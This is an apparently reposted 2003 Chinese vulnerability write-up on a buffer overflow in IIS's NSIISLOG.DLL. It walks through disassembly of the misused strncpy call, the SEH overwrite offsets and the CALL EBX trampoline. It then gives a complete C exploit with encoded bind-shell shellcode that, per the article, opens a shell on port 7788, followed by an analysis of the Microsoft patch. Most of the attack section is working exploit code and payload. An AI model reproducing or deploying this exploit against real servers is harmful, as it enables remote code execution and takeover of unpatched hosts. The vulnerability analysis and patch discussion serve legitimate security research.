【实战】IIS的NSIISLOG.DLL溢出问题分析

来源:互联网 发布:遇见软件 编辑:程序博客网 时间:2024/06/02 14:33

IIS的NSIISLOG.DLL溢出问题分析


创建时间:2003-07-02 更新时间:2003-07-02
文章属性:原创
文章提交:flashsky (flashsky1_at_sina.com)

转摘请注明作者和安全焦点
作者:FLASHSKY
SITE:WWW.XFOCUS.NET,WWW.SHOPSKY.COM
邮件:flashsky@xfocus.org
作者单位:启明星辰积极防御实验室

实行积分制了,写点垃圾文章赚点子啊,大家别拿鸡蛋砸我。
溢出漏洞原因分析:

导致溢出的代码就在NSIISLOG.DLL中,如下
.text:40F01B08                 mov     ecx, esi
.text:40F01B0A                 call    dword ptr [eax+8]
.text:40F01B0D                 push    eax            <----------------计算的POST数据长度
.text:40F01B0E                 mov     ecx, ebx
.text:40F01B10                 push    [ebp+arg_4]        <----------------POST数据的BUFFER
.text:40F01B13                 call    sub_40F01EEE
#########################################################################################################
sub_40F01EEE函数内容:
.text:40F01EEE                 push    ebp
.text:40F01EEF                 mov     ebp, esp
.text:40F01EF1                 mov     eax, 1104h
.text:40F01EF6                 call    sub_40F02B80            〈-----------------分配缓冲区,按含ESP-0X1104的调用
.text:40F01EFB                 push    ebx
.text:40F01EFC                 push    esi
.text:40F01EFD                 mov     ebx, [ebp+arg_4]
.text:40F01F00                 push    edi                    〈-------------------导致溢出的参数,本来应该是被溢出的缓冲区的长度
.text:40F01F01                 mov     edi, [ebp+arg_8]                            这里却传成了POST数据的长度
.text:40F01F04                 or      ecx, 0FFFFFFFFh
.text:40F01F07                 xor     eax, eax
.text:40F01F09                 push    ebx
.text:40F01F0A                 repne scasb
.text:40F01F0C                 push    [ebp+arg_0]           〈----------------------我们POST的数据
.text:40F01F0F                 lea     eax, [ebp+var_1104]
.text:40F01F15                 not     ecx
.text:40F01F17                 dec     ecx
.text:40F01F18                 push    eax                   〈------------------------被溢出的缓冲区
.text:40F01F19                 mov     [ebp+var_4], ecx
.text:40F01F1C                 call    ds:strncpy             〈-----------------------导致溢出的调用
##############################################################################################################
溢出原因:
strncpy这个调用本来是安全函数调用的,原形是:
strncpy(BUF1,BUF2,BUF1MAXLEN)
但是在这个调用中,调用者误使这个函数的调用成如下方式了:
strncpy(BUF1,BUF2,BUF2MAXLEN),这样第三个参数本来应该是BUF1MAXLEN来限制可能导致溢出的调用就成了无用的摆设。
我们可以计算出返回地址的覆盖点是:
    0X1104+4(EBP占用的地址)=0x1108,那么需要0X110C个字节,注意POST的数据在覆盖中不能存在0x0,否则strncpy会自动用0添满后面的数据。

溢出攻击实现:
    但是在函数返回以前我们发现会引发函数的异常(主要是后面的strspn调用中),那么我们就得想法覆盖异常结构。(当然如果你可以精巧设计你自己覆盖的内容不导致异常也是可以的,不过这样太麻烦了),nsiislog.dll自己并没有异常处理程序,那么需要我们覆盖默认的异常结构处理地址,我们可以通过累加所有调用堆栈的大小计算得出此地址距离我们溢出缓冲区的距离是0X2708。
    另外需要考虑的问题就是在触发异常之前,如果应用程序对我们的SHELLCODE进行了操作则会导致一些问题,那么我们最好使得在STRNCPY中就出发缓冲。(这个溢出中,会转换EBP之前的一些数据的大小写,也会截断添加一条消息。当然我们也可以精巧设置SHELLCODE的位置,不过返回地址不是很好设置)。
那么我们需要比0X270C更长的地址导致地址访问违反例,这个长度是和当前缓冲大小相关的(到下一个地址段,如0X8CXXXX-〉0X8D0000就会引发异常):
考虑这个问题,我们的缓冲放置0x10000以上长度的数据(当然一般25000左右就基本能导致在STRNCPY里的异常了),就能绝对保证在strncpy中引发异常了。
下面我们就要寻找一个CALL EBX或JMP EBX的地址了(因为是覆盖异常结构),这个地址其实在NSIISLOG.DLL中就有很多,这样就能避免很多版本要求的问题。
这里再给大家分析一下为什么溢出异常结构之后要找CALL(JMP)EBX的原理
首先异常结构链结构如下
DWORD PNEXT      下一个异常结构地址指针
DWORD FUNADDR    当前处理函数入口地址

在KiUserExceptionDispatcher中的处理是如下方式的:
77f8e4ca ff7304           push  dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c   <-------------EBX+4就是当前异常处理函数调用地址,EBX就是异常结构地址,由于可能要处理下一个异常链,所以EBX就保存了下来未做修改,这样在我们覆盖了EBX+4的异常处理函数调用地址后找到CALL(JMP)EBX就可以到达我们可以控制的一个内存区域。
77f8e4cd 8d45f0           lea     eax,[ebp-0x10]
77f8e4d0 50               push    eax
77f8e4d1 ff750c           push    dword ptr [ebp+0xc]
77f8e4d4 53               push    ebx
77f8e4d5 56               push    esi
77f8e4d6 e83affffff       call    ntdll!RtlSetBits+0x305 (77f8e415)

###############################################################################
77f8e42f ff7514           push    dword ptr [ebp+0x14]
77f8e432 ff7510           push    dword ptr [ebp+0x10]
77f8e435 ff750c           push    dword ptr [ebp+0xc]
77f8e438 ff7508           push    dword ptr [ebp+0x8]
77f8e43b 8b4d18           mov     ecx,[ebp+0x18]                           <-------------这里就是溢出的异常结构地址
77f8e43e ffd1             call    ecx {nsiislog+0x135c (40f0135c)}
###############################################################################

这里需要注意的是:找到的返回地址是在[ebx+4]上,而调用CALL EBX也要把这个地址内存的内容当指令执行,所以EBX(异常结构前)的地址的内容应该是跳过
EBX+4(被覆盖的异常结构地址)的,下面就是一个EXP代码,使用了ISNO的SHELLCODE(我拿到的这个SHELLCODE有点小毛病,使得只能连上无法执行指令,已修改),执行以后TELNET IP 7788
###############################################################################
#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>


char        *hostName = NULL;
unsigned char shellcode[]=
        "/x90/xeb/x03/x5d/xeb/x05/xe8/xf8/xff/xff/xff/x83/xc5/x15/x90/x90"
        "/x90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/x80/x30/x97/x40/xe2/xfa"
        "/x7e/x8e/x95/x97/x97/xcd/x1c/x4d/x14/x7c/x90/xfd/x68/xc4/xf3/x36"
        "/x97/x97/x97/x97/xc7/xf3/x1e/xb2/x97/x97/x97/x97/xa4/x4c/x2c/x97"
        "/x97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14"
        "/x59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/xcd/xe2"
        "/x70/xa4/x57/x1c/xd4/xab/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14"
        "/x57/xef/x1c/xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/xae/xdc/xd2/xc5"
        "/xd9/xe2/x52/x16/xee/x93/xd2/xdb/xa4/xa5/xe2/x2b/xa4/x68/x1c/xd1"
        "/xb7/x94/x54/x1c/x5c/x94/x9f/x16/xae/xd0/xf2/xe3/xc7/xe2/x9e/x16"
        "/xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68"
        "/x94/x6c/x1c/xc1/xb3/x94/x6d/xa4/x45/xf1/x1c/x80/x1c/x6d/x1c/xd1"
        "/x87/xdf/x94/x6f/xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94"
        "/x5c/x1c/xae/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/x60/x1c/x40/xa4"
        "/x57/x60/x47/x1c/x5f/x65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68"
        "/x85/xcd/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/xcd/xa4/x57"
        "/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4"
        "/x68/x85/xcd/x3c/x75/x7f/xd1/xc5/xc1/x68/xc5/x93/xcd/x1c/x4f/xa4"
        "/x57/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5"
        "/xc1/xc4/x68/x85/xcd/x3c/x75/x70/xa4/x57/xc7/xd7/xc7/xd7/xc7/x68"
        "/xc0/x7f/x04/xfd/x87/xc1/xc4/x68/xc0/x7b/xfd/x95/xc4/x68/xc0/x67"
        "/xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1"
        "/x3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf"
        "/x27/xd3/x1e/x90/xc0/x68/xc0/x53/xa4/x57/x1c/xd1/x63/x1e/xd0/xab"
        "/x1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/xa4/x57/xf1/x2f/x96/x96/x1e/xd0"
        "/xbb/xc0/xc0/xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/xa4"
        "/x57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0"
        "/x5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/xa4/x57/x23/x93/xc7/x56"
        "/x7f/x93/xc7/x68/xc0/x43/x1c/x67/xa4/x57/x1c/x5f/x22/x93/xc7/xc7"
        "/xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xa8/x96/xeb/xb5/xa4/x57"
        "/xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/xa4"
        "/x57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/xfd/xc7/x68/xc0/x77/x7c/x5f"

    //这里修改了一下错误的SHELLCODE,原来的是   /xc0/x6b/xa4/x5e/xc6/xc7,
    //把WRITEFILE的最后2个参数传反了,导致写入管道失败,这样就无法传入命令
    // 原来的:  PUSH EDI(是一个地址)      修改后:  XOR ECX ECX
    //           XOR ECX ECX                           PUSH ECX
    //           PUSH ECX                              PUSH EDI
    //           PUSH EAX (收到的缓冲字节数)         PUSH EAX
    //           PUSH ESI (缓冲指针)                 PUSH ESI
    //           PUSH [EDX-54]                         PUSH [EDX-54]
    //           CALL WRITEFILE                        CALL WRITEFILE
    //          会导致写入管道失败                    

    "/xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xa4/x5e/xc6/xc0/xc7"
        "/xc1/x68/xe0/x3b/x68/xc0/x4f/xfd/xc7/x68/xc0/x77/x7c/x3d/xc7/x68"
        "/xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/x65/x54/x1c/xd3/xb3/x9b/x92/x2f"
        "/x97/x97/x97/x50/x97/xef/xc1/xa3/x85/xa4/x57/x54/x7c/x7b/x7f/x75"
        "/x6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/x70/xe0/xb4/x17/x70/xe0"
        "/xdb/xf8/xf6/xf3/xdb/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5"
        "/xd9/xd2/xdb/xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2"
        "/x97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6"
        "/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97"
        "/xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc"
        "/xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb"
        "/xd6/xfb/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/xd1/xfe/xfb/xf2/x97"
        "/xc5/xf2/xf6/xf3/xd1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2"
        "/xef/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4"
        "/xdc/xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97"
        "/xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2"
        "/xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97"
        "/x97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/xef/xf2/x97"
        "/x68/x68/x68/x68";
        
void main (int argc, char **argv)
{
    WSADATA WSAData;
    SOCKET s;
    SOCKADDR_IN addr_in;
    unsigned char buf[1000];
    unsigned char testbuf[0x10000];
    int len;
    char t1[]="POST /scripts/nsiislog.dll HTTP/1.1/r/nHost: 192.168.10.210/r/nContent-length: 65536/r/n/r/n";//4364

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d/n",WSAGetLastError());
        return;
    }


    hostName = argv[1];

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(80);
    addr_in.sin_addr.S_un.S_addr=inet_addr(hostName);
    
    memset(testbuf,0,0x10000);
    
    if ((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d/n",WSAGetLastError());
        return;
    }
    if(WSAConnect(s,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return;
    }
    len=sizeof(t1)-1;
    memcpy(testbuf,t1,len);
    send(s,testbuf,len,0);
    recv(s,buf,1000,0);
    memset(testbuf,'A',65536);//4364
    len=65536;//4364;
    *(DWORD *)(testbuf+0x2704)=0x04eb06eb;//jmp过覆盖的异常地址
    *(DWORD *)(testbuf+0x2708)=0x40F0135c;//覆盖异常结构的值
    memcpy(testbuf+0x270c,shellcode,sizeof(shellcode));
    send(s,testbuf,len,0);      
    closesocket (s);
    WSACleanup();
    return;
}

########################################################################################################################

补丁机理:
WindowsMedia41-KB822343-x86-CHS.exe补丁补掉了这个漏洞,如下:

.text:40F01FCA                 mov     eax, 1100h
.text:40F01FCF                 call    sub_40F02D30
.text:40F01FD4                 push    ebx
.text:40F01FD5                 push    esi
.text:40F01FD6                 push    edi
.text:40F01FD7                 mov     edi, [ebp+arg_8]
.text:40F01FDA                 or      ecx, 0FFFFFFFFh
.text:40F01FDD                 xor     eax, eax
.text:40F01FDF                 repne scasb
.text:40F01FE1                 mov     esi, [ebp+arg_4]
.text:40F01FE4                 mov     eax, 0FFFh   〈-----------------------强制EAX=0XFFF(小于分配的空间0X1100);
.text:40F01FE9                 not     ecx
.text:40F01FEB                 dec     ecx
.text:40F01FEC                 cmp     esi, eax     〈------------------------比较是否超过
.text:40F01FEE                 mov     ebx, ecx
.text:40F01FF0                 jbe     short loc_40F01FF4
.text:40F01FF2                 mov     esi, eax      〈----------------------STRNCPY的第三个参数不会超过0XFFF,这样就不会溢出
.text:40F01FF4
.text:40F01FF4 loc_40F01FF4:                           ; CODE XREF: sub_40F01FC7+29j
.text:40F01FF4                 push    esi
.text:40F01FF5                 lea     eax, [ebp+var_1100]
.text:40F01FFB                 push    [ebp+arg_0]
.text:40F01FFE                 push    eax
.text:40F01FFF                 call    ds:strncpy
原创粉丝点击